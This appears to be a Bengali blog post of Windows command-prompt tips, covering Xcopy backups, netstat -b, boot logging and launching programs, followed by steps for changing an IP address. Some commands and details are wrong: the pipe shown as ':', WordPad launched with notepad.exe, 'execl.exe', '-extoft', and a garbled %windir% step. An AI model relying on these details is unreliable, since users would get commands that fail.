যেহেতু কোনো কোনো ভাইরাস বুট সেক্টরে রাইট করতে পারে। আর এ ধরনের কাজ যাতে না হয়, তাই ‘Boot Sector Virus Protection’ লেবেল করা অপশন খোঁজ করে দেখুন। যদি এই অপশন এনাবল থাকে, তাহলে হার্ডডিস্ক ড্রাইভের গুরুত্বপূর্ণ বুট সেক্টর অংশে কোনো প্রোগ্রাম যেমন ভাইরাস রাইট করা অসম্ভব হয়ে পড়বে। লক্ষণীয়, কিছু কিছু প্রোগ্রাম বিশেষ করে পার্টিশনিং টুল সঙ্গত কারণে এসব কাজ করে। বায়োসে কাজ শেষ করে বের হয়ে আসুন ও Esc কি চেপে সংগঠিত পরিবর্তনগুলো সেভ করুন।
কমান্ড প্রম্পট টুল খুঁজে বের করা
কমান্ড প্রম্পট টুলে অ্যাক্সেস করার জন্য উইন্ডোজ চালু করুন। আপনি একটি খুঁজে পাবেন স্মার্ট মেনুর All Programs>Accessories-এর মধ্যে। বিকল্প হিসেবে Windows কি এবং R কি চেপে একত্রে। এবং খালি বক্সে cmd.exe টাইপ করে Ok চাপুন।
উইন্ডোজ ভিস্তা এবং উইন্ডোজ ৭-এর জন্য কখনো কখনো কমান্ড প্রম্পটকে অ্যাডমিনিস্ট্রেটর প্রিভিলেজসহ রান করাতে হয়। এ কাজ করার জন্য কমান্ড প্রম্পট আইকনে ডান ক্লিক করুন এবং বেছে নিন ‘Run as administrator’।
বক্সের ভেতর যা আছে
কমান্ড প্রম্পটের দুর্বলতা বেশ কম। এক্সপির ক্ষেত্রে কমান্ড প্রম্পট দেখা যায় C:\Windows হিসেবে, তবে ভিস্তা বা উইন্ডোজ ৭-এ ওপেন হয় ইউজার হোম ডিরেক্টরি যেমন- C:\Users\[username] যদি না অ্যাডমিনিস্ট্রেটর মোড ব্যবহার হয় তখন C:\Windows\system32 ডিরেক্টরি ওপেন হয়।
উইন্ডোজ ভিস্তা ও উইন্ডোজে কমান্ড প্রম্পট যেকোনো ফোল্ডারে উইন্ডোজ এক্সপ্লোরার থেকে ওপেন করা যায়। এজন্য Shift কি চেপে ধরে ফোল্ডারে ডান ক্লিক করুন এবং পপ-আপ মেনু থেকে বেছে নিন ‘Open Command window here’।
অন্য কোনো ফোল্ডার বা পাথে সুইচ অর্থাৎ পরিবর্তন করতে চাইলে CD কমান্ড ব্যবহার করা হয়। যেমন- C:\My Directory নামের ডিরেক্টরি পরিবর্তন করতে চাইলে cd C:\My Directory টাইপ করে এন্টার চাপতে হবে। ড্রাইভ লেটার সুইচ করতে চাইলে শুধু ড্রাইভ লেটার টাইপ করে কোলন দিয়ে যেমন- D: টাইপ করে এন্টার চাপুন।
কমান্ডে সাহায্যের জন্য /? টাইপ করে এন্টার চাপলে কমান্ড প্রম্পটে সাহায্য প্রদর্শিত হবে। কোনো সুনির্দিষ্ট কমান্ডের সাহায্যের জন্য help কমান্ড নেম বা কমান্ড নেম /? টাইপ করে এন্টার চাপলে কমান্ড সম্পর্কে বিস্তারিত তথ্য পাওয়া যাবে। যেমন- help Xcopy বা Xcopy/?
বিশেষ ধরনের কিছু টেক্সট ক্যারেক্টার প্রায়ই কমান্ড লাইনে ব্যবহার হয়। যেমন- পাইপ ক্যারেক্টার (:)। এটি এক কমান্ডের ফলাফল দেয়, যা অন্য কমান্ড ব্যবহার করবে। বেশিরভাগ কিবোর্ডে এটি টাইপ করা হয় Alt Gr এবং কিবোর্ডের বাম দিকে নাম্বর ওয়ান (1) কি ব্যবহার করে।
আরেকটি ব্যাপকভাবে ব্যবহার হওয়া ও পরিচিত ক্যারেক্টার হলো ওয়াইল্ডকার্ড বা *, যা ফাইল নিয়ে কাজ করতে গেলে ব্যবহার হয়। ওয়াইল্ডকার্ড (*) ক্যারেক্টারের অর্থ হলো যেকোনো লেটারের স্ট্রিং। উদাহরণস্বরূপ *.xls-এর অর্থ হলো XLS এক্সটেনশনযুক্ত যেকোনো ফাইল। * লেটারের অর্থ হলো যেকোনো ধরনের ফাইল নেম এবং *.*-এর অর্থ হলো সব ধরনের ফাইল। একটি সিঙ্গেল লেটারের জন্য প্রশ্নবোধক চিহ্ন হলো ওয়াইল্ডকার্ড। যেমন- Letter?.* কমান্ড যুক্ত করবে Letter1.doc, Letter2.pdf ইত্যাদি আরো কমান্ড টাইপ করে এন্টার চাপলে কমান্ড এক্সিকিউট হবে। তাই পুনরাবৃত্তিমূলক বাক্যের ব্যবহার কমানোর জন্য প্রতিবার কমান্ড টাইপ করে এন্টার চাপার কথা উল্লেখ করছি না বারবার। স্ক্রিন পরিষ্কার করার জন্য CLS কমান্ড এবং কমান্ড প্রম্পট থেকে বের হতে চাইলে exit লিখলেই হবে।
কপি ও ব্যাকআপ করা
ফাইলের জন্য কপি, ডেল এবং মুভ কমান্ড রয়েছে। Xcopy অনেক শক্তিশালী বিকল্প কমান্ড, যার ব্যবহার অনেক এবং বিশ্বস্ত। এমনকি উইন্ডোজ এক্সপ্লোরারের চেয়ে বেশি।
Xcopy কমান্ড হিডেন ফাইলসহ সম্পূর্ণ ফোল্ডার বা ড্রাইভ কপি করতে পারে নতুন লোকেশনে। এ কমান্ড দিয়ে ফাইল নতুন বা পুরনো তার ভিত্তিতে বেছে বেছে কপি করতে পারে। C ড্রাইভ থেকে D ড্রাইভে সবকিছু কপি করার জন্য কমান্ড হবে Xcopy C: D: /d /s। এরপর যেকোনো তারিখে C: D: /d /e /s কমান্ড ব্যবহার করলে নতুন ফাইলে কপি হবে। এই কমান্ডটি দ্রুততর এবং ব্যাকআপ করার নিরাপদ উপায়। Xcopy কমান্ড দিয়ে এভাবে আরো অনেক অ্যাডভান্স উপায়ে কপি করা থেকে শুরু করে হিডেন বা সিস্টেম ফাইলও কপি করা সম্ভব।
সন্দেহজনক কার্যকলাপ শনাক্ত করা
কমান্ড লাইন ইনস্ট্রাকশন যেমন ব্যবহার করা যেতে পারে সিকিউরিটি ব্যবস্থাকে উন্নত করতে, তেমনি নির্দিষ্ট কাজকে অধিকতর দ্রুত ও নিরাপদ করার উপায় হিসেবেও ব্যবহার করা যেতে পারে। কমান্ড লাইন থেকে কিভাবে পিসিকে অপারেট করা যায় তা ভালোভাবে রপ্ত করতে পারলে সন্দেহ করতে কিংবা নিশ্চিত হতে পারবেন নিরাপত্তার ফাটল সম্পর্কে।
কোন কোন প্রোগ্রাম এবং সার্ভিস ইন্টারনেটের সাথে যুক্ত তা খুঁজে বের করতে উইন্ডোজ বেশ সময় নেয়। তবে netstat কমান্ড এ কাজটিকে সহজ করেছে। অ্যাডমিনিস্ট্রেটর কমান্ড প্রম্পটে টাইপ করুন netstat -b কমান্ড সব সক্রিয় সংযোগ প্রদর্শন করবে। প্রতিটি সংযোগের জন্য দায়িত্বশীল প্রোগ্রাম proto কলামে দেখা যায়।
Foreign Addrress কলাম প্রদর্শন করে ইউআরএল বা রিমোট সাইটের আইপি অ্যাড্রেস। আইপি অ্যাড্রেস সম্পর্কিত বিস্তারিত তথ্য পাওয়া যেতে পারে আইপি চেকিং ওয়েবসাইট থেকে অথবা ‘Whois’ Sysinternal ইউটিলিটি থেকে।
উইন্ডোজ বুট-লগিং এক শক্তিশালী উপায়, যা ক্ষতিকর বা ম্যালফাংশন ড্রাইভার এবং সার্ভিসগুলো নির্দিষ্ট করতে পারে যেগুলো কখনো ক্ষতিকর সফটওয়্যার, স্পাইওয়্যার, ভাইরাস ইত্যাদি সব নির্দিষ্ট করতে পারে। এগুলোর জন্য কমান্ড লাইন ইনস্ট্রাকশন দরকার নেই, তবে কমান্ড কিভাবে কাজ করবে বুঝতে সুবিধা হয়।
এখানে কী বলা হচ্ছে তা বুঝতে চাইলে পিসি রিস্টার্ট করুন এবং উইন্ডোজ লোগো আবির্ভূত হওয়ার আগে F8 কি চাপুন। যখন Advanced Options মেনু আবির্ভূত হয়, তখন অ্যারো কি ব্যবহার করে Enable Boot Logging সিলেক্ট করে এন্টার চাপুন।
উইন্ডোজ চালু হওয়ার পর অ্যাডমিনিস্ট্রেটর সুবিধাসহ কমান্ড প্রম্পট উইন্ডোজ ওপেন করুন এবং টাইপ করুন cd। %windir% উইন্ডোজ ডিরেক্টরিতে সুইচ করার জন্য এবার start notepad ntbtlog.txt টাইপ করুন নোটপ্যাড বুট-লগ ফাইল ওপেন করার জন্য।
যদি পিসি ভাইরাস আক্রান্ত হয়, তাহলে এ প্রক্রিয়া ব্যবহার করে সন্দেহজনক নতুন ড্রাইভার বা সার্ভিসকে চিহ্নিত করা যায় সর্বশেষ বুট-লগ ফাইলের সাথে আগের বুট-লগ ফাইলের তুলনা করে।
কমান্ড লাইন থেকে উইন্ডোজ প্রোগ্রাম রান করা
প্রায় সব উইন্ডোজ প্রোগ্রাম কমান্ড প্রম্পট থেকে চালু করা যায়। কমান্ড প্রম্পট নিয়ে কাজ করা অনেকটাই অত্যুৎসাহী হলেও বেশ প্রয়োজনীয়। অনেক প্রোগ্রাম কমান্ড লাইন সুইচ সাপোর্ট করে, যা কিছু ফিচার এনাবল বা ডিজ্যাবল করে। এসব ফিচারের কোনো কোনোটি হতে পারে সিকিউরিটির জন্য, আবার কোনোটি হতে পারে ট্রাবলশুটিং কিংবা আপনার কোনো কাজ সহজ-সরল করার জন্য। কমান্ড প্রম্পটে উইন্ডোজ প্রোগ্রাম চালু করার কৌশল হলো Start কমান্ড ব্যবহার করা। অর্থাৎ Start প্রোগ্রাম ফাইলের নাম (যেকোনো সুইচসহ)। যেমন- ওয়ার্ডপ্যাড চালু করার জন্য Start notepad.exe, ওয়ার্ড চালু করার জন্য Start winword.exe কমান্ড ব্যবহার করা যায়। কিছু কিছু প্রোগ্রামের রয়েছে বিশেষ ডায়াগনস্টিক মোড। সব অ্যাড-অনস ডিজ্যাবল থাকা অবস্থায় ইন্টারনেট এক্সপ্লোরার রান করার জন্য টাইপ করতে হবে Start iexplore.exe -extoft এবং সেইফ মোডে এক্সেল ওপেন করার জন্য Start execl.exe /s কমান্ড ব্যবহার করা হয়।
একটি অ্যাপ্লিকেশন প্রোগ্রামের নাম আবিষ্কার করতে চাইলে All Programs মেনুর অ্যাপ্লিকেশন নেম এন্ট্রিতে ডান ক্লিক করে Properties বেছে নিতে হবে। এরপর Target বক্সে খোঁজ করে দেখুন কোন ফাইল নেমের শেষে .exe রয়েছে।
নির্দিষ্ট প্রোগ্রামের জন্য কমান্ড লাইন সুইচ খুঁজে বের করার সহজ কোনো পথ নেই। যদি না সফটওয়্যার প্রস্ত্ততকারক কোম্পানি তার ওয়েবসাইটে সে ধরনের কোনো তথ্য না দেয়।

IP পরিবর্তন করুন কোনো রকম সফটওয়ার ছাড়াই

আমাদের অনেক সময় IP পরিবর্তন করার দরকার হয়ে থাকে।আর IP পরিবর্তন করার জন্য আমরা সবসময় বিভিন্ন ধরনের সফটওয়ার ব্যবহার করে থাকি, যা অনেক ঝামেলার। আজ আমি কোনো রকম সফটওয়ার ছাড়াই IP পরিবর্তন করার টিপস শেয়ার করব।এজন্য আমাদের কিছু কাজ করতে হবে। মুল কাজ গুলো ইংরেজী লিখে দিলাম।
IP পরিবর্তন করুন কোনো রকম সফটওয়ার ছাড়াই
1. Click on “Start” in the bottom left hand corner of screen.
2. Press on “Run”.
3. Type in “command” and press “OK”.
4. Type “ipconfig /release” and hit “Enter”.
5. Type “exit” and leave the prompt.
6. Right-click on “Network Places” or “My Network Places” on your desktop.
7. Click on “Properties”.
8. Right click on “Local Area Connection” and hit on “Properties”.
9. Double-click on the “Internet Protocol (TCP/IP)” from the list under the “General” tab.
10. Click on “Use the following IP address” under the “General” tab.
11. Create an IP address.
12. Press “Tab” and it should automatically fill in the “Subnet Mask” section with default numbers.
13. Hit on “Ok” button here.
14. Press “Ok” button again.
15. Right-click back on “Local Area Connection” and press on “Properties” again.
16. Go back to the “TCP/IP” settings.
17. Select “Obtain an IP address automatically”.
18. Click on “Ok” button.
19. Click on “Ok” button again.
আশা করি, আপনার IP পরিবর্তন হয়ে গেছে

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More